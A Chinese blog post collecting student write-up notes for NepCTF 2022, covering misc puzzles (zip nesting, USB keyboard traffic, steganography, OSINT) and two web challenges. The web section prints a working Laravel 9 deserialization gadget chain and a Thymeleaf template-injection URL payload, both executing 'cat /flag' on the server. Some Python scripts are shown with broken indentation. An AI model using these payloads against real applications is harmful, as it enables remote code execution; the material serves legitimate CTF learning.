ysoseri.us

技术内容 / 本科的一些学习笔记和wp / nepCTF2022复现

nepCTF2022复现

📎23-XINO-QQ_1289288682.pdf孔爷的wp

📎NepCTF2022WP-shengha0.pdf星爷的wp

misc

花花画画画花花

解压得到一个王心凌的歌，是osu!的谱面

导入osu开个不会fail的模式读谱即可

网上找到游戏下载下来，打了两把发现自己的手是真的残

看了星爷wp才知道原来开简单模式不会寄（），对着回放打完拿到flag

图片 1

签到题

极限套娃，换过一次压缩包

解压缩包套娃，没有密码
参考贝塔师傅的脚本（yyds）

#coding=utf-8
import os
import zipfile
orginal_zip = "Untitled1.zip"
while True:
    tag = orginal_zip
    orginal_zip = zipfile.ZipFile(orginal_zip)
    print tag
    zipname = orginal_zip.namelist()[0]
    try:
    orginal_zip.extract(zipname)
        print tag
except:
    break
if(len(tag)>5):
os.system("rm "+tag)
orginal_zip = zipname

解到最后得到1.zip
里面有一个显示加密的流量包，发现为伪加密，将deFlags从05改成00即可解压

图片 2
是一个键盘流量，先把流量提出来

解到最后得到1.zip
里面有一个显示加密的流量包发现为伪加密将deFlags从05改成00即可解压
一个键盘流量，先把流量提出来
tshark -r keyboard.pcap -T fields -e usbhid.data >usb.tx
然后用这个脚本

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g",
"0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w",
"1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5",
"23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>",
"2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"
<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"
<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"
<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G",
"0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W",
"1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%",
"23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>",
"2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"
<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"
<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"
<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
nums = []
keys = open('usb.txt')
for line in keys:
    if len(line)!=17:
        continue
    nums.append(line[0:2]+line[4:6]) #取一、三字节
keys.close()
output = ""
for n in nums:
    if n[2:4] == "00" :
        continue
    if n[2:4] in normalKeys:
        if n[0:2]=="02":
            output += shiftKeys [n[2:4]]
    else :
        output += normalKeys [n[2:4]]
else:
    output += '[unknown]'
print('output :n' + output

图片 3不知道什么原因多出一个w，删一下

nepctf{welcome-to-nepctf-2nd}

少见的bbbbase

β - AS
少见的bbbbase

看星爷的wp要用jphide
stegdetect检测

图片 4
用jphs5解文件

图片 5
得到文件打开为一串base58KkYWdvCQcLYewSUUy5TtQc9AMa

解base58得到flag

flag{Real_qiandao~}

9点直播

Author

～
各位同学，比赛已经开始将近十个小时啦，大家玩的如何呢？邀请大家9点来直播间聊聊天~请锁定https://
b23.tv/bn0pPAR
这边小助手收到了大家想暴打出题人的反馈，今晚9点我们请到了变态的出题人们，在直播间和大家交流，放
出我们的hint，帮助大家解题。
同时也会在直播间中抽幸运的小伙伴送出我们的周边礼品。

直播间得flag
图片 6

馅饼？陷阱！

Zuni
好兄弟中奖了，但是要先汇款。他去哪了？
NepCTF{银行官网网址}

第二张图里能看到车牌号是琼，缩小范围到海南
搜索 东北饺子城 海南

图片 7

图片 8

地图上搜一搜，看一下全景可以找到与图片相符的建筑

图片 9
可以看出是光大银行，搜一下官网即可

flag{cebbank.com}

web

Just Kidding

Author:H3h3QAQ
顽皮的HRP用Laravel写了个项目来欢迎大伙来玩Nepctf 2nd，没想到...居然被坏蛋Sharun撅了

能扫出来几个目录和备份文件

图片 10

根据备份中Laravel版本9.20可以找到一个最新的洞Laravel 9.18反序列化命令执行
然后去搜hello能找到hello的文件位置可以得到他的参为h3
图片 11

LAVAREL 9.1.8的反序列化链子 https://xz.aliyun.com/t/11362

应该大多数poc都可以打通 在hello下面传参就行

构造一条链子传到h3就行
链子

<?php
namespace Faker {
    class Generator {
        protected $providers = [];
        protected $formatters = [];
        function __construct() {
            $this->formatter = "dispatch";
            $this->formatters = 9999;
        }
    }
}
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        public function __construct() {
            $this->event = "cat /flag";
            $this->events = new \Faker\Generator();
        }
    }
}
namespace Symfony\Component\Mime\Part {
    abstract class AbstractPart {
        private $headers = null;
}
    class SMimePart extends AbstractPart {
        protected $_headers;
        public $h3rmesk1t;
        function __construct() {
            $this->_headers = ["dispatch"=>"system"];
            $this->h3rmesk1t = new \Illuminate\Broadcasting\PendingBroadcast();
        }
    }
}
namespace {
    $pop = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($pop));
    echo base64_encode(str_replace("i:9999","R:2",$ser));
}
?>

NepCTF{2a815677-a04d-47eb-b1ba-acbbe1eaf247}

Challenger

Author


顽皮的HRP又换了种语言写项目来欢迎大家，没想到又让Sharun掘了😭
（flag在根目录下: /flag）

题目提供了源码

图片 12
可以知道框架为thymeleaf
网上找的一篇复现教程

https://zhuanlan.zhihu.com/p/248416919

然后可以找到入口点路径为eval
图片 13

直接套用payload打

/eval?
lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag
%22).getInputStream()).next()%7d__::

图片 14